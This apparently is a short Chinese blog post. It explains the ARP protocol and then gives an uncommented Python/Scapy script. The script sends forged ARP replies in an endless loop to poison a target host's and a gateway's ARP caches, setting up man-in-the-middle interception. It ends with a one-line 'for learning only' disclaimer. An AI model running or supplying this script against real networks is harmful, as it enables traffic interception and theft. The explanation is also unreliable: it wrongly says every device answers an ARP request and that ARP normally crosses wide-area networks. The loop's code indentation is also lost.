首先,什么是arp?ARP (Address Resolution Protocol) 是一种网络协议,它用于在通信两端之间映射 IP 地址和物理(MAC)地址。它在网络层和数据链路层之间进行转换。
当一台设备想要和另一台设备通信时,它需要知道对方的物理地址。然而,在网络中,通信双方通常只知道对方的 IP 地址。ARP 协议允许一台设备询问其他设备的物理地址,以便两台设备之间进行通信。
ARP 是一种基于广播的协议,意味着一台设备发出请求时,所有在同一网络中的设备都会收到该请求,并回复。ARP 消息通常在局域网中传输,但也可以在广域网中传输。
总结来说,ARP 协议是为了解决在网络中通信时 IP 地址和物理地址之间的映射问题,它在网络层和数据链路层之间进行转换。
from scapy.all import *
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
# Get the MAC address of the target and gateway
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
# Create the ARP packet for the target
arp_packet = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst=target_mac)
# Create the ARP packet for the gateway
arp_packet2 = ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst=gateway_mac)
#Send the ARP packets in a loop
while True:
send(arp_packet)
send(arp_packet2)
time.sleep(1)
本篇文章代码仅用于学习交流!!!